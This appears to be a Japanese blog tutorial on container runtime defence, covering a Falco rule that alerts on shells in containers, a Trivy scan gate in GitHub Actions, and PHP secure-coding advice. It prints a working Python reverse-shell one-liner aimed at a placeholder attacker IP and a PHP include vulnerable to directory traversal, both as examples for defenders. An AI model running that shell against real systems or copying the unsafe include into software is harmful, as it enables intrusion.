【実務・中級編】 コンテナ環境におけるランタイムセキュリティ監視と脆弱性スキャン – ガバナンス・リスク管理 & 生成AIセキュリティ防御ガイド

コンテナ環境の「見えない侵入者」を狩る――FalcoとCI/CDで構築するランタイム・ディフェンスの要諦

現場のエンジニア諸君、お疲れ様。

「コンテナはイミュータブル(不変)だから、一度デプロイしてしまえば安全だ」なんて幻想を抱いていないか? もしそうなら、今すぐ目を覚ましてほしい。現実はもっと泥臭い。攻撃者は脆弱なコンテナイメージの隙間を縫い、CI/CDのパイプラインに潜り込み、あろうことかコンテナの「ランタイム」そのものを乗っ取ろうと手ぐすねを引いている。

今日は、教科書的な「セキュリティ方針」の話をするつもりはない。現場で本当に効く、コンテナのランタイム防御と脆弱性スキャンの自動化について、実戦的な話をしよう。

1. なぜ「静的なスキャン」だけでは不十分なのか

多くの現場では、CI/CDで Trivy や Clair を回して満足している。確かにそれは重要だ。しかし、それは「ドアの鍵が壊れていないか」を確認しているに過ぎない。もし攻撃者が未知の脆弱性(Zero-day)や、正規の権限を悪用した「正しい操作」で侵入してきたらどうする?

そこで登場するのが Falco によるランタイム監視だ。「コンテナ内で誰が何のシステムコールを発行したか」をリアルタイムで監視し、異常を検知する。これは侵入された後の「最後の砦」になる。

2. 攻撃者の視点:コンテナ内でのリバースシェル

攻撃者はまず、Webアプリの脆弱性(RCE等)を突き、コンテナ内でシェルを起動しようとする。以下は、攻撃者がコンテナ内で実行する典型的なリバースシェルのコマンドだ。

# 攻撃者がコンテナ内で実行する悪意のあるコマンドの例
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻撃者のIP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

このコマンドが実行された瞬間、システムコールレベルでは execve が頻発し、標準入出力がネットワークソケットにリダイレクトされる。これを検知するのがFalcoの役目だ。

3. Falcoによる不正検知ルール(実装例)

以下は、コンテナ内での予期せぬシェル実行を検知するためのFalcoカスタムルールだ。これを custom_rules.yaml として定義する。

# コンテナ内でシェルが実行されたら即座にアラートを上げる
- rule: Shell in Container
  desc: コンテナ内でシェルが起動されました。これは侵入の兆候である可能性が高いです。
  condition: >
    spawned_process and container and 
    proc.name in (bash, sh, zsh, ksh, csh) and 
    container.id != host
  output: >
    警告: コンテナ内でシェルが実行されました (user=%user.name container_id=%container.id command=%proc.cmdline)
  priority: CRITICAL

このルールをデプロイしておけば、たとえ攻撃者がRCEに成功しても、侵入した瞬間にSlackやPagerDutyへアラートが飛ぶ。運用担当者は、即座に該当Podを隔離(kubectl delete pod ではなく、ネットワークポリシーで遮断)することが可能だ。

4. CI/CDパイプラインでの脆弱性スキャン自動化

「脆弱なイメージはデプロイさせない」。これが鉄則だ。GitHub Actionsでの実装例を見てほしい。

# .github/workflows/security.yml の一部
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v3

      - name: Build image
        run: docker build -t my-app:${{ github.sha }} .

      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'my-app:${{ github.sha }}'
          format: 'table'
          exit-code: '1' # 致命的な脆弱性が見つかればビルドを停止させる
          ignore-unfixed: true
          severity: 'CRITICAL,HIGH' # ここがポイント:低リスクは無視して開発速度を落とさない

ここで重要なのは、exit-code: '1' だ。警告を表示するだけでは意味がない。パイプラインを物理的に止めることこそが、セキュリティの「ガバナンス」を強制力に変える方法だ。

5. 最後に:エンジニアが忘れてはならないこと

セキュリティは「設定して終わり」のツールではない。君たちが書くコード一つひとつが防壁になる。例えば、PHPでファイルを読み込む際、以下のように basename() を使わず、ユーザー入力をそのままパスに渡していないか?

// 危険なコード:ディレクトリトラバーサルを引き起こす
$file = $_GET['file'];
include("/var/www/data/" . $file); 

// セキュアなコード:パスを厳格に制限する
$file = basename($_GET['file']);
$path = "/var/www/data/" . $file;
if (file_exists($path)) {
    include($path);
}

どんなに強固なFalcoルールも、アプリケーションの脆弱性がガバガバであれば、攻撃者のやりたい放題だ。インフラの監視とアプリのセキュアコーディング、この両輪が揃って初めて、君たちのシステムは「信頼できる」と言える。

現場でのインシデントはいつだって予想外の場所からやってくる。だが、今日紹介したような「多層的な防御」を組み込んでいれば、最悪の事態は防げるはずだ。

次は、ゼロトラスト時代のIAM設計について深掘りしようか。手を動かし続けろ。それが最強の防衛だ。

コメント

タイトルとURLをコピーしました